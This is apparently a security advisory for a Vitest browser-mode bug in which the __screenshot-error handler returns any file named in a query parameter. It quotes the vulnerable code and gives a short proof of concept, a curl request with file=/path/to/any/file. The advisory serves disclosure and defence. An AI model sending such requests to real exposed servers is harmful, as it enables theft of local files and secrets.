Summary
__screenshot-error handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by browser.api.host: true, an attacker can send a request to that handler from remote to get the content of arbitrary files.
Details
This __screenshot-error handler on the browser mode HTTP server responds any file on the file system.
|
server.middlewares.use(`${base}__screenshot-error`, function vitestBrowserScreenshotError(req, res) { |
|
if (!req.url) { |
|
res.statusCode = 404 |
|
res.end() |
|
return |
|
} |
|
|
|
const url = new URL(req.url, 'http://localhost') |
|
const file = url.searchParams.get('file') |
|
if (!file) { |
|
res.statusCode = 404 |
|
res.end() |
|
return |
|
} |
|
|
|
let stat: Stats | undefined |
|
try { |
|
stat = lstatSync(file) |
|
} |
|
catch { |
|
} |
|
|
|
if (!stat?.isFile()) { |
|
res.statusCode = 404 |
|
res.end() |
|
return |
|
} |
|
|
|
const ext = extname(file) |
|
const buffer = readFileSync(file) |
|
res.setHeader( |
|
'Cache-Control', |
|
'public,max-age=0,must-revalidate', |
|
) |
|
res.setHeader('Content-Length', buffer.length) |
|
res.setHeader('Content-Type', ext === 'jpeg' || ext === 'jpg' |
|
? 'image/jpeg' |
|
: ext === 'webp' |
|
? 'image/webp' |
|
: 'image/png') |
|
res.end(buffer) |
|
}) |
|
} |
This code was added by 2d62051.
PoC
- Create a directory and change the current directory to that directory
- Run
npx vitest init browser
- Run
npm run test:browser
- Run
curl http://localhost:63315/__screenshot-error?file=/path/to/any/file
Impact
Users explicitly exposing the browser mode server to the network by browser.api.host: true may get any files exposed.
sapphi-red Reporter
Summary
__screenshot-errorhandler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network bybrowser.api.host: true, an attacker can send a request to that handler from remote to get the content of arbitrary files.Details
This
__screenshot-errorhandler on the browser mode HTTP server responds any file on the file system.vitest/packages/browser/src/node/plugin.ts
Lines 88 to 130 in f17918a
This code was added by 2d62051.
PoC
npx vitest init browsernpm run test:browsercurl http://localhost:63315/__screenshot-error?file=/path/to/any/fileImpact
Users explicitly exposing the browser mode server to the network by
browser.api.host: truemay get any files exposed.